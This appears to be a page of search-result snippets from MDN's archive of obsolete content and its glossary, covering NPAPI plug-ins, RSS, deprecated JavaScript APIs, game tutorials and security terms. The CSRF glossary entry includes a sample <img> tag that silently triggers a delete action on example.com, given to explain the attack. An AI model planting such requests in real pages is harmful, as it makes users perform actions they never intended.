reverse. npn_geturl reads data from the url and either displays it in the target window or delivers it to the plug-in. npn_posturl writes data from a file or buffer to the url and either displays the server's response in the target window or delivers it to the plug-in. if the target parameter is null, the new stream is passed to the plug-in regardless of mime type. when you use npn_posturl to s...
NPP_SetWindow - Archive of obsolete content
lue. for windowed plug-ins on windows and unix, the window parameter contains a handle to a subwindow of the browser window hierarchy. on mac os, this field points to an np_port structure. for windowless plug-ins, it is a platform-specific handle to a drawable. before setting the window parameter to point to a new window, it is a good idea to compare the information about the new window to the p
revious window (if one existed) to account for any changes. for windowless plugins, npp_setwindow is called with a cliprect of 0,0,0,0 to signal that the plugin is not visible. note: npp_setwindow is useful only for embedded (np_embed) or full-screen (np_full) plug-ins, which are drawn into windows. it is irrelevant for hidden plug-ins. see also npp_handleevent, npwindow, np_port ...
NPP_StreamAsFile - Archive of obsolete content
t stream. fname pointer to full path to a local file. if an error occurs while retrieving the data or writing the file, fname may be null. description when the stream is complete, the browser calls npp_streamasfile to provide the instance with a full path name for a local file for the stream. npp_streamasfile is called for streams whose mode is set to np_asfileonly or np_asfile only in a p
revious call to npp_newstream. if an error occurs while retrieving the data or writing the file, the file name (fname) is null. see also npp_newstream, npp_write, npp_writeready, npstream, npp ...
NPP_Write - Archive of obsolete content
the return value is smaller than the size of the buffer, the browser sends the remaining data to the plug-in through subsequent calls to npp_writeready and npp_write. if unsuccessful, the function signals an error by returning a negative value. the browser will destroy the stream by calling npp_destroystream. description the browser calls the npp_write function to deliver the data specified in a p
revious npp_writeready call to the plug-in. a plug-in must consume at least as many bytes as indicated in the npp_writeready call. after a stream is created by a call to npp_newstream, the browser calls npp_write either: if the plug-in requested a normal-mode stream, the data in the stream is delivered to the plug-in instance in a series of calls to npp_writeready and npp_write. if the plug-in reque...
NPPrint - Archive of obsolete content
. values: np_full: pointer to npfullprint structure. plug-in can optionally print in full-page mode. the fullprint field of the union is valid. see npfullprint and npp_print. np_embed: pointer to npembedprint structure. plug-in should print in embedded mode. the embedprint field of the union is valid. see npembedprint. description the npp_print function passes a pointer to an npprint object (p
reviously allocated by the browser) to the plug-in. the pointer and fields within the npprint structure are valid only for the duration of the npp_print call. see also npp_print, npfullprint, npembedprint ...
NPSavedData - Archive of obsolete content
rmation can be returned to another instance of the same plug-in if the user returns to the web page that contains it. you can use the plug-in's npp_destroy() function to allocate an npsaveddata object using the npn_memalloc() function, fill in the fields, and return it to the browser as an output parameter. see instance destruction for a code example that shows how to use npsaveddata. if the user
revisits a web page that contains a plug-in, the browser returns the npsaveddata to the new instance of the plug-in in a call to npp_new(). after this, the plug-in is responsible for keeping or deleting the objects as necessary. see also npp_new() npp_destroy() ...
NPWindow - Archive of obsolete content
y coordinates for the top left corner of the plug-in relative to the page (and thus relative to the origin of the drawable). should not be modified by the plug-in. height, width the height and width of the plug-in area. should not be modified by the plug-in. cliprect clipping rectangle of the plug-in; the origin is the top left corner of the drawable or window. clipping to the cliprect p
revents the plug-in from overwriting the status bar, scroll bars, and other page elements when partially scrolled off the screen. mac os: cliprect is the rectangle in port coordinates to which the plug-in should clip its drawing. ws_info unix: contains information about the plug-in's unix window environment; points to an npsetwindowcallbackstruct. type npwindowtype value that specifies whet...
NP_Port - Archive of obsolete content
ntil npp_setwindow is called again with a different value or the instance is destroyed. since the port is shared between the plug-in and other plug-ins and the browser, the plug-in should always do the following: draw only within the area designated by the npwindow. save the current port settings before changing the port for drawing. set the desired port settings before drawing. restore the p
revious port settings after drawing. see also npp_setwindow, npwindow ...
Adobe Flash - Archive of obsolete content
t scriptable on os x } // 6. handle errors (no flash installed, etc.) example 1 uses the regexp (regular expression) object exposed to javascript strings. the description string is broken into an array of constituent strings based on an invocation of the match method with a regular expression that assumes that the string format will be in the format flash major rminor where major can be a major
revision such as "5" or "6" and minor is the subsidiary version number. example 1 also creates a constant flashversionosxscriptable that declares (arbitrarily) that macromedia will fix flash to be scriptable in mach-o browsers (on os x) by version 12. this is currently not the case, but 12 is a sufficiently high version number (current versions are version 6r.79) to allow for some leeway for fixing t...
Plugins - Archive of obsolete content
important: since firefox 52, all plugin support except flash has been dropped (see plug-in support has been dropped other than flash for more details). flash usage is also set to be phased out in the future. note: plugins are now a legacy technology. they are not available on most mobile devices. mozilla encourages website developers to avoid using plugins whe
rever possible and use standard web apis instead. if there are plugin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible. for more information about plugin roadmap, see non-archived plugin information. plugins are shared libraries that users can install t...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
n below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>
review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <slash:comments>43</slash:comments> </item> <item> <title>what is the 3571st prime number<...
Getting Started - Archive of obsolete content
s in this tutorial (you can just read on), but this would be a less effective way for you to learn. you'll retain the information more and absorb it better if you create the rss files yourself. how to use this tutorial although each page in this tutorial has been written so that it can act as a "standalone" tutorial, it does assume you already possess the knowledge of the information taught in p
revious pages of this tutorial. although you may jump to any point in the tutorial that you wish, we suggest that rss beginners read this tutorial in order. tutorial what is rss why use rss how rss works syndicating blogs broadcatching microformats advanced broadcatching ...
Proposal - Archive of obsolete content
ists rss disposition hinting a proposal to make it so iptv and ipradio/podcasting works better with rss. uses an http "content-type" parameter to hint at an rss feeds disposition type -- to hint at what is being syndicated. in development rsshints a module that adds elements to a feed that help an aggregator process them. draft exists source guid when an rss item is posted in response to a p
revious item (called the source item) rss 2.0 offers the source element which allows the item to refer to the rss feed which contains the source item. the sguid specification provides a more granular approach by offering an sourceref element which can reference the guid permalink of the source. draft exists <title>proposals</title> ...
0.90 - Archive of obsolete content
it was created by netscape to be a metadata format providing a summary of a website. (and not only a syndication format, as it is today.) rss 0.90 is an rdf-based format. when rss 0.90 was created, the rss initialization stood for rich site summary and not really simple syndication. (see rss - what is in a name for more info on rss's naming history.) note: rss 0.90 has been deprecated. producers of rssshould not be creating rss 0.90 feeds, andshould instead use a newer non-deprecated rss format. ...
0.91 - Archive of obsolete content
rss 0.91 there are 3 different version of rss 0.91: netscape's rss 0.91 (
revision 1) netscape's rss 0.91
revision 3 userland's rss 0.91 ...
title - Archive of obsolete content
rsstitle element <title>...</title> - the rss title element has 4 uses. it is used to specify thetitle of a <channel>, an <image>, an <item>, or a <textinput>. the rsstitle element contain onlyplain text data. note: in userland's rss 0.91 there is a 100 character maximum limit. ...
Confidentiality, Integrity, and Availability - Archive of obsolete content
of course, and employees at the bank who are helping you with a transaction should be able to access them, but no one else should. a failure to maintain confidentiality means that someone who shouldn't have access has managed to get it, through intentional behavior or by accident. such a failure of confidentiality, commonly known as a breach, typically cannot be remedied. once the secret has been
revealed, there's no way to un-
reveal it. if your bank records are posted on a public website, everyone can know your bank account number, balance, etc., and that information can't be erased from their minds, papers, computers, and other places. nearly all the major security incidents reported in the media today involve major losses of confidentiality. so, in summary, a breach of confidentiality mea...
Security Controls - Archive of obsolete content
iple with security controls is using multiple layers of security—defense in depth. for example, sensitive data on a server may be protected from external attack by several controls, including a network-based firewall, a host-based firewall, and os patching. the motivation for having multiple layers is that if one layer fails or otherwise cannot counteract a certain threat, other layers might p
revent the threat from successfully breaching the system. a combination of network-based and host-based controls is generally most effective at providing consistent protection. original document information author(s): u.s. department of commerce title: federal information processing standard publication 200, minimum security requirements for federal information and information systems last up...
Threats - Archive of obsolete content
formation author(s): ella deon lackey last updated date: 2012 copyright information: © 2012 red hat, inc. link: red hat certificate system common criteria certification 8.1: deployment, planning, and installation original document information author(s): joint task force transformation initiative title: national institute of standards and technology (nist) special publication 800-30
revision 1, guide for conducting risk assessments last updated date: september 2012 copyright information: this document is not subject to copyright. original document information author(s): karen scarfone, wayne jansen, and miles tracy title: national institute of standards and technology (nist) special publication 800-123, guide to general server security last updated date: july 2008 co...
Sunbird Theme Tutorial - Archive of obsolete content
. so do not waste time styling the old views. work with a recent test build so that your theme will be compatible with the next release. testing further changes when you make further changes to your theme, test them by restarting sunbird. to detect errors, choose tools – javascript console... the javascript console window displays css errors, not just javascript errors. making an icon and p
review the themes window can display an icon and a p
review graphic. you normally make these after you have designed the rest of your theme. make an image file 32 by 32 pixels, and save it as <tt>icon.png</tt> in your theme directory. make an image file about 200 by 100 pixels, and save it as <tt>p
review.png</tt> in your theme directory. adding other components your theme only modifies the calenda...
Tamarin Tracing Build Documentation - Archive of obsolete content
build via the form at http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm user email: your email address. an email with the build status will be sent to this address when a builder completes whether it is passes or fails. mercurial repository: give the location of the repository that will be used for the build. note: only repositories hosted on http://hg.mozilla.org/ are accepted.
revision: specify the
revision number that will be built. currently this only accepts the change number and not the hash. branch: which branch of tamarin the repository is based on, tamarin-central or tamarin-tracing. builders: which platforms will be compiled and tested. description: self explanatory check the status of the build @ http://tamarin-builds.mozilla.org/sandbox/ tryserver etiquette t...
contents.rdf - Archive of obsolete content
ns being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="p
review.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:he...
Theme changes in Firefox 2 - Archive of obsolete content
bal/about.css new file; css used in the application's about box. global/alltabs-box-bkgnd.png new file; the background for the "all tabs" drop-down menu at the right side of the tab bar. global/alltabs-box-overflow-bkgnd.png new file; the background for the "all tabs" drop-down menu when there are enough tabs to activate tab bar scrolling. global/browser.css
revised to support new styles for the main browser window. global/globalbindings.xml updated to support changes to the tab bar, including per-tab close buttons. global/icons/alltabs.png not actually used; left over from earlier drafts of the theme. global/inactivetab-left.png removed file. global/inactivetab-right.png removed file. global/menu.
Using SSH to connect to CVS - Archive of obsolete content
~/.ssh/id_dsa.pub do not sendid_dsa. do file a server operations bug in bugzilla and attach yourid_dsa.pub to the bug. setting up cvs to use ssh in your system's environment, make sure thatcvs_rsh is set to whatever your ssh binary is called; a full path is not necessary if ssh is already in your path. replace pserver with ext in your cvsroot environment variable. if you wish to keep your p
revious pserver trees, you'll need to update the root files in each cvs subdirectory in your tree. this can be done using a unix-style find and perl: find . -name root -exec perl -p -i -e "s/pserver/ext/" {} \; dealing with firewalls do not attempt to perform the steps in this section unless you have first verified that you can access cvs.mozilla.org from outside of the firewall. only proceed wit...
-ms-filter - Archive of obsolete content
shows how to use scripting to set the filter on an image. code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_s.htm <body> <p>click the image to start the filter.</p> // call the function. ...
azimuth - Archive of obsolete content
degrees, relative to the current angle. rightwards: moves the sound clockwise by 20 degrees, relative to the current angle. examples h1 { azimuth: 30deg; } td.a { azimuth: far-right; } /* 60deg */ #12 { azimuth: behind far-right; } /* 120deg */ p.comment { azimuth: behind; } /* 180deg */ specifications specification status comment css level 2 (
revision 1)the definition of 'azimuth' in that specification. recommendation initial definition. ...
Processing XML with E4X - Archive of obsolete content
syntax for embedding literal xml documents in javascript code. a full definition of e4x can be found in the ecma-357 specification. this chapter provides a practical overview of the language; it is not a complete reference. compatibility issues prior to widespread browser support for the <script> element, it was common for javascript embedded in a page to be surrounded by html comment tags to p
revent <script> unaware browsers from displaying javascript code to the user. this practice is no longer necessary, but remains in some legacy code. for backwards compatibility, e4x defaults to ignoring comments and cdata sections. you can add an e4x=1 argument to your <script> tag to disable this restriction: <script type="text/javascript;e4x=1"> ... </script> creating an xml object e4x offers t...
Array.unobserve() - Archive of obsolete content
parameters arr the array to stop observing. callback the reference to the observer to stop calling each time changes are made on the array arr. description array.unobserve() should be called after array.observe() in order to remove an observer from an array. the callback should be a reference to a function and not an anonymous function, because this reference will be used to unset the p
revious observer. it's useless to call array.unobserve() with an anonymous function as callback, it will not remove any observer. examples unobserving an array var arr = [1, 2, 3]; var observer = function(changes) { console.log(changes); } array.observe(arr, observer); arr.push(4); // [{type: "splice", object: <arr>, index: 3, removed:[], addedcount: 1}] array.unobserve(arr, observer); a...
Generator comprehensions - Archive of obsolete content
ample 2: using if in generator. var numbers = [1, 2, 3]; // generator function (function*() { for (let i of numbers) { if (i < 3) { yield i * 1; } } })(); // generator comprehension (for (i of numbers) if (i < 3) i); // result: both return a generator which yields [1, 2] specifications generator comprehensions were initially in the ecmascript 2015 draft, but got removed in
revision 27 (august 2014). please see older
revisions of es2015 for specification semantics. ...
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
the debug.mstraceasynccallbackstarting function associates the callback stack with a p
reviously specified asynchronous operation. syntax debug.mstraceasynccallbackstarting(asyncoperationid) parameters asyncoperationid the id associated with the asynchronous operation. remarks call this function in the callback function for the asynchronous operation after the call to debug.mstraceasyncoperationcompleted. note: some debugging tools do not display the information sent to the debugger. asyncoperationid must correspond to the operation name p
reviously returned from debug.mstraceasyncoperationstarting. example the following code provides an example of tracing an asynchronous call for a windows 8.x store app. function asyncwrapperfunction() { var opid = debug.mstraceasy...
Debug.msTraceAsyncCallbackCompleted - Archive of obsolete content
tion has completed. syntax debug.mstraceasynccallbackcompleted() parameters asyncoperationid the id associated with the asynchronous operation. status optional the status of the asynchronous operation. if not specified, debug.ms_async_op_status_success is used. remarks call this function when the asynchronous operation completes. asyncoperationid must correspond to the operation id p
reviously returned from debug.mstraceasyncoperationstarting. the possible values for status include: debug.ms_async_op_status_success debug.ms_async_op_status_canceled debug.ms_async_op_status_error note: some debugging tools do not display the information sent to the debugger. example the following code provides an example of tracing an asynchronous call for a windows 8.x ...
Debug - Archive of obsolete content
buggerenabled determines whether debugging is enabled for the script context. debugging may be enabled or disabled whether or not a debugger is attached. debug.setnonusercodeexceptions determines whether any try-catch blocks in this scope are to be treated by the debugger as user-unhandled. functions debug.mstraceasynccallbackcompleted indicates that the callback stack associated with a p
reviously specified asynchronous operation has completed. debug.mstraceasynccallbackstarting associates the callback stack with a p
reviously specified asynchronous operation. debug.mstraceasyncoperationcompleted indicates that an asynchronous operation has completed. debug.mstraceasyncoperationstarting initiates a trace for an asynchronous operation. debug.msupdateasynccallbackrelation updat...
VBArray.toArray - Archive of obsolete content
soft extension and is only supported in internet explorer. the vbarray.toarray method returns a standard javascript array converted from a vbarray. syntax safearray.toarray( ) remarks the required safearray reference is a vbarray object. the conversion translates the multidimensional vbarray into a single dimensional javascript array. each successive dimension is appended to the end of the p
revious one. for example, a vbarray with three dimensions and three elements in each dimension is converted into a javascript array as follows: suppose the vbarray contains: (1, 2, 3), (4, 5, 6), (7, 8, 9). after translation, the javascript array contains: 1, 2, 3, 4, 5, 6, 7, 8, 9. there is currently no way to convert a javascript array into a vbarray. example the following example consists of t...
New in JavaScript 1.8.5 - Archive of obsolete content
operty descriptor for a named property on an object. bug 505587 object.keys() returns an array of all enumerable properties on an object. bug 307791 object.getownpropertynames() returns an array of all enumerable and non-enumerable properties on an object. bug 518663 object.p
reventextensions() p
revents any extensions of an object. bug 492849 object.isextensible() determines if extending of an object is allowed. bug 492849 object.seal() p
revents other code from deleting properties of an object. bug 492845 object.issealed() deter...
New in JavaScript 1.8 - Archive of obsolete content
, but this addition allows you to use array comprehension-like syntax to create an identical generator statement. array.prototype.reduce() array.prototype.reduceright() changed functionality in javascript 1.8 changes in destructuring for..in one change that occurred in the release of javascript 1.8 was a bug fix related to the key/value destructuring of arrays introduced in javascript 1.7. p
reviously it was possible to destructure the keys/values of an array by using for ( var [key, value] in array ). however, that made it impossible to destructure the values of an array - that were arrays (i.e., when an iterator returns an array of the current key-value pair). this has been resolved now. (bug 366941). one can, however, use for ( var [key, value] in iterator(array)). ...
ECMAScript 2015 support in Mozilla - Archive of obsolete content
etprototypeof() (firefox 31) object.assign() (firefox 34) object.getownpropertysymbols() (firefox 33) additions to the date object date.prototype is an ordinary object (firefox 41) generic date.prototype.tostring (firefox 41) date.prototype[@@toprimitive] (firefox 44) new promise object promise (firefox 24, enabled by default in firefox 29) new proxy object proxy (firefox 18) p
reventextensions() trap (firefox 22) isextensible() trap (firefox 31) getprototypeof() and setprototypeof() traps (firefox 49) new reflect object reflect (firefox 42) additions to the regexp object regexp sticky (y) flag (firefox 38) regexp unicode (u) flag (firefox 46) generic regexp.prototype.tostring (firefox 39) regexp.prototype[@@match]() (firefox 49) regexp.prototype[@@replace](...
ECMAScript 5 support in Mozilla - Archive of obsolete content
. see new in javascript 1.8.5. added in javascript 1.8.1 (gecko 1.9.1, firefox 3.5) native json support object.getprototypeof() method. string.trim() method, which trims whitespace from both ends of the string. gecko 1.9.1.4 updated the implementation of json.stringify() to be compliant with ecmascript 5. improvements laid out by ecmascript 5 have been made in the parsing algorithm that p
revents evaluating xhtml as javascript code in certain circumstances. added in javascript 1.6 (gecko 1.8, firefox 1.5) new array methods offering several improved methods for manipulating arrays -- have been part of javascript since javascript 1.6. now they've been standardized as part of ecmascript 5. ...
Object.prototype.__noSuchMethod__ - Archive of obsolete content
is the name of the method attempted and the second is an array of the arguments that were passed in the method call. the second argument is an actual array (that is, it inherits through the array.prototype chain) and not the array-like arguments object. if this method cannot be called, either as if undefined by default, if deleted, or if manually set to a non-function, the javascript engine will
revert to throwing typeerrors. examples simple test of __nosuchmethod__ var o = { __nosuchmethod__: function(id, args) { console.log(id, '(' + args.join(', ') + ')'); } }; o.foo(1, 2, 3); o.bar(4, 5); o.baz(); // output // foo (1, 2, 3) // bar (4, 5) // baz () using __nosuchmethod__ to simulate multiple inheritance an example of code that implements...
Object.unobserve() - Archive of obsolete content
erving. callback the reference to the observer to stop calling each time changes are made on the object obj. return value the specified object. description object.unobserve() should be called after object.observe() in order to remove an observer from an object. the callback should be a reference to a function and not an anonymous function, because this reference will be used to unset the p
revious observer. it's useless to call object.unobserve() with an anonymous function as callback, it will not remove any observer. examples unobserving an object var obj = { foo: 0, bar: 1 }; var observer = function(changes) { console.log(changes); } object.observe(obj, observer); obj.newproperty = 2; // [{name: 'newproperty', object: <obj>, type: 'add'}] object.unobserve(obj, observe...
Object.prototype.watch() - Archive of obsolete content
ation on the debugger, see venkman. in firefox, handler is only called from assignments in script, not from native code. for example, window.watch('location', myhandler) will not call myhandler if the user clicks a link to an anchor within the current document. however, window.location += '#myanchor' will call myhandler. note: calling watch() on an object for a specific property overrides any p
revious handler attached for that property. examples using watch and unwatch const o = { p: 1 }; o.watch('p', (id, oldval, newval) => { console.log('o.' + id + ' changed from ' + oldval + ' to ' + newval); return newval; }); o.p = 2; o.p = 3; delete o.p; o.p = 4; o.unwatch('p'); o.p = 5; this script displays the following: o.p changed from 1 to 2 o.p changed from 2 to 3 o.p changed from...
JavaClass - Archive of obsolete content
f the java class. methods the methods of a javaclass object are the static methods of the java class. examples example: using javaclass in the following example, x is a javaclass object referring to java.awt.font. because bold is a static field in the font class, it is also a property of the javaclass object. x = java.awt.font; myfont = x("helv", x.bold, 10); // creates a font object the p
revious example omits the packages keyword and uses the java synonym because the font class is in the java package. example in the following example, the javaclass object java.lang.string is passed as an argument to the newinstance method which creates an array: var cars = java.lang.reflect.array.newinstance(java.lang.string, 15); see also javaarray, javaobject, javapackage, packages ...
Packages - Archive of obsolete content
java package sun.*. examples example: javascript function to create a java dialog box the following javascript function creates a java dialog box: function createwindow() { var theowner = new packages.java.awt.frame(); var thewindow = new packages.java.awt.dialog(theowner); thewindow.setsize(350, 200); thewindow.settitle("hello, world"); thewindow.setvisible(true); } in the p
revious example, the function instantiates thewindow as a new packages object. the setsize, settitle, and setvisible methods are all available to javascript as public methods of java.awt.dialog. ...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
tem element, and the date element respectively. the syntax for accessing e4x objects is actually quite natural and certainly easier than most methods. javascript engines such as rhino and spidermonkey on their own have proven to be a useful and powerful tool to the developer. however, taking advantage of frameworks such as aptana jaxer (spidermonkey) and helma (rhino) can
reveal even greater rewards as a great deal of work has already been done for you. all you need to do is implement the javascript. let’s take a closer look on the spidermonkey side with jaxer. as stated earlier, aptana jaxer is built using the mozilla browser engine engine that powers mozilla firefox, which includes spidermonkey as its javascript interpreter, but lots more ...
Standards-Compliant Authoring Tools - Archive of obsolete content
der versions of tools that rely on old browser bugs or generate browser-specific code, it may be time to upgrade: nvu is a standalone editor created from the remains of mozilla composer. currently the work done on nvu is being ported back to mozilla source code. html-kit is a full-featured, low priced editor designed to help html, xhtml and xml authors to edit, format, lookup help, validate, p
review and publish web pages. validation is done with html tidy, so you can verify standards compliance. macromedia™ dreamweaver™ cs6 style master and layout master by western civilisation some caveats: it appears that tools currently available from namo generate ie-specific or netscape 4-specific code that may require extra debugging for compatibility with standards-based browsers. newer ver...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
x: 10; margin: 4px 0 0 0; border: 1px solid #339;} div.card h3 {margin: 0 0 0 4px; padding: 0.2em 0 1px 150px; border: 1px solid #339; border-left: 5px double #339; background: #eec url(body-bg-tan.jpg) bottom left no-repeat fixed; color: #339;} div.card p {margin: 0.5em 0.5em 0.5em 160px;} and voila! the cards are done. conclusion redesigning a classic is something like being asked to
revisemoby dick for modern audiences: you're thrilled at the opportunity, but afraid of doing injustice to the original. i'd like to think that the final result was in keeping with the original spirit of the amazing netscape fish cam page while giving it a nice new css-driven look. i hope that our little cruise through this aspect of the redesign has gotten you hooked on the idea of using simple mar...
forEach - Archive of obsolete content
've removed the lengthy example, while still linking to it and provided a much simpler and leaner implementation. dotnetcarpenter 30 june 2012 <hr> i have released the write access restriction, but i will be watching changes closely. jswisher 01 october 2011 <hr> there is some mistype in array.prototype.foreach: kvalue = o[ pk ]; should be kvalue = o[ k ]; <hr> this page has been the target of a
revert war, and so write access to it has been restricted. if you wish to make changes, and especially if you wish to
revert another user's changes, please either add a comment here, or post to dev-mdc@lists.mozila.org, explaining the change you desire. jswisher 15 aug 2011 <hr> is this a from _core_ of javascript 1.5? if so, is js 1.5 gecko only? those extra features like foreach are gecko only, an...
XForms Custom Controls - Archive of obsolete content
* return true if instance node is valid as determined by the mdg. */ boolean isvalid(); /** * return true if the control is bound to an instance node. */ boolean hasboundnode(); /** * return the bound instance node. */ nsidomnode getboundnode(); /** * set the content of the instance node. if aforceupdate is true then the * xforms model will rebuild/recalculate/
revalidate/refresh. */ void setcontent(in nsidomnode anode, in boolean aforceupdate); } note: setcontent() can be used to set place complexcontent (mixture of text and element nodes) under the control's bound node. please see the comments in the source .idl file for more information on using this method. xbl bindings most xforms control elements have at least two bindings applied to themselves.
Requests For Enhancement - Archive of obsolete content
xhtml and xul documents. but a form author is not restricted to only those xml languages that gecko knows. a lot of the xforms capabilities are reachable by using our custom controls interfaces. our custom control interfaces allows for the exchange of data between any xml element and and an xforms model. this means that an author can write powerful mozilla-based applications by using xforms. if p
reviously you was forced to use ajax for this then now xforms makes this for you automatically. custom controls interfaces this section contains rfe to the custom control interfaces. if you find that you can't create a custom control due to limitations in our interfaces or the functionality of our controls, then this is the right place to pass along your requirements. custom controls if you hav...
The Business Benefits of Web Standards - Archive of obsolete content
tices. lack of documentation is also often problematic. following standards-compliance in requirements documents is a very effective way to ensure measurable quality of the final product, the w3c being an impartial judge. because standards are very well documented, another person taking over some standard-compliant code can hit the ground running - and will not need to become familiar with the p
revious developer's coding practices. this also significantly reduces vendor lock-in. web standards: enriching the user experience the whole ethos of web standards is that it is driven by the user experience. it is not driven by graphics designers, by the developers of proprietary code generators or by the need to perform three dimensional coding gymnastics to cope with the vendors of browsers and ...
2D collision detection - Game development
algorithms to detect collision in 2d games depend on the type of shapes that can collide (e.g. rectangle to rectangle, rectangle to circle, circle to circle). generally you will have a simple generic shape that covers the entity known as a "hitbox" so even though collision may not be pixel perfect, it will look good enough and be performant across multiple entities. this article provides a
review of the most common techniques used to provide collision detection in 2d games. axis-aligned bounding box one of the simpler forms of collision detection is between two rectangles that are axis aligned — meaning no rotation. the algorithm works by ensuring there is no gap between any of the 4 sides of the rectangles. any gap means a collision does not exist. var rect1 = {x: 5, y: 5, width: 50,...
Building up a basic demo with PlayCanvas editor - Game development
ng part is the update() function, which is where we can put any code that we want repeated on every frame. add the following line inside this function, to rotate the cube on every frame: this.entity.rotate(dt*10, dt*20, dt*30); in the line above this.entity refers to the object to which the script will be attached (the box); using the dt variable, which contains the delta time passed since the p
revious frame, we can rotate the box by a different amount around all three axes. save the changes using the save button in the top right of the code editor, then return to the main editor tab. here, follow these steps: be sure you have the box selected on the scene. click on add component, then script in the entity inspector. at the bottom of the screen you can see the list of scripts availabl...
Async scripts for asm.js - Game development
ted as 'inline' scripts and get compiled and then run immediately. what if your code is in a js string? instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object url: var blob = new blob([codestring]); var script = document.createelement('script'); var url = url.createobjecturl(blob); script.onload = script.onerror = function() { url.
revokeobjecturl(url); }; script.src = url; document.body.appendchild(script); the setting of src rather than innerhtml is what makes this script async. ...
2D maze game with device orientation - Game development
ethod creates new items in the group with starting left and top positions, and its own image. if you don't want to loop through the list of items again to add a property to every single one explicitly, you can use setall on a group to apply it to all the items in that group. the objects are stored in the this.levels array, which is by default invisible. to load specific levels, we make sure the p
revious levels are hidden, and show the current one: showlevel: function(level) { var lvl = level | this.level; if(this.levels[lvl-2]) { this.levels[lvl-2].visible = false; } this.levels[lvl-1].visible = true; } thanks to that the game gives the player a challenge - now he have to roll the ball across the play area and guide it through the labyrinth built from the blocks. it...
Tutorials - Game development
tutorial you'll implement a simple breakout clone using pure javascript. along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, and winning and losing states. 2d breakout game using phaser in this step-by-step tutorial you'll implement the same breakout clone as the p
revious tutorial series, except that this time you'll do it using thephaser html5 game framework. this idea here is to teach some of the fundamentals (and advantages) of working with frameworks, along with fundamental game mechanics. 2d maze game with device orientation this tutorial shows how to create a 2d maze game using html5, incorporating fundamentals such as collision detection and sprite pl...
Gecko FAQ - Gecko Redirect 1
what is gecko? gecko is the open source browser engine designed to support open internet standards such as html 5, css 3, the w3c dom, xml, javascript, and others. gecko is used in multiple browsers, including mozilla firefox, seamonkey, and others. gecko is continuously under development at mozilla.org. gecko has been known p
reviously by the code names "raptor" and "nglayout"; the new name was chosen following a trademark infringement dispute. for more information see the wikipedia article on gecko. what is a layout engine? basically, a layout engine takes content (such as html, xml, image files, applets, and so on) and formatting information (such as cascading style sheets, presentational html tags, etc.) and displays the formatted content on the screen. it paints the browser's...
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
in computing, the word "asynchronous" is used in two major contexts. networking and communications asynchronous communication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so immediately upon receipt. ...
CSRF - MDN Web Docs Glossary: Definitions of Web-related terms
by including malicious parameters in a url behind a link that purports to go somewhere else: <img src="https://www.example.com/index.php?action=delete&id=123"> for users who have modification permissions on https://www.example.com, the <img> element executes action on https://www.example.com without their noticing, even if the element is not at https://www.example.com. there are many ways to p
revent csrf, such as implementing restful api, adding secure tokens, etc. learn more general knowledge cross-site request forgery on wikipedia p
revention measures ...
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
code splitting is the splitting of code into various bundles or components which can then be loaded on demand or in parallel. as an application grows in complexity or is simply maintained, css and javascripts files or bundles grow in byte size, especially as the number and size of included third-party libraries increases. to p
revent the requirement of downloading ginormous files, scripts can be split into multiple smaller files. then features required at page load can be downloaded immediately with additional scripts being lazy loaded after the page or application is interactive, thus improving performance. while the total amount of code is the same (and perhaps even a few bytes larger), the amount of code needed during initial load can be reduced. code splitting is a feature suppo...
Cross Axis - MDN Web Docs Glossary: Definitions of Web-related terms
alignment of items on the cross axis is achieved with the align-items property on the flex container or align-self property on individual items. in the case of a multi-line flex container, with additional space on the cross axis, you can use align-content to control the spacing of the rows. ...
DNS - MDN Web Docs Glossary: Definitions of Web-related terms
nected resources. dns maintains a list of domain names along with the resources, such as ip addresses, that are associated with them. the most prominent function of dns is the translation of human-friendly domain names (such as mozilla.org) to a numeric ip address (such as 151.106.5.172); this process of mapping a domain name to the appropriate ip address is known as a dns lookup. by contrast, a
reverse dns lookup (rdns) is used to determine the domain name associated with an ip address. learn more general knowledge understanding domain names domain name system on wikipedia ...
DoS attack - MDN Web Docs Glossary: Definitions of Web-related terms
computers have limited resources, for example computation power or memory. when these are exhausted, the program can freeze or crash, making it unavailable. a dos attack consists of various techniques to exhaust these resources and make a server or a network unavailable to legitimate users, or at least make the server perform sluggishly. there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer. types of dos attack dos attacks are more of a category than a particular kind of attack. ...
Decryption - MDN Web Docs Glossary: Definitions of Web-related terms
iphertext into cleartext. decryption is a cryptographic primitive: it transforms a ciphertext message into plaintext using a cryptographic algorithm called a cipher. like encryption, decryption in modern ciphers is performed using a specific algorithm and a secret, called the key. since the algorithm is often public, the key must stay secret if the encryption stays secure. decryption is the
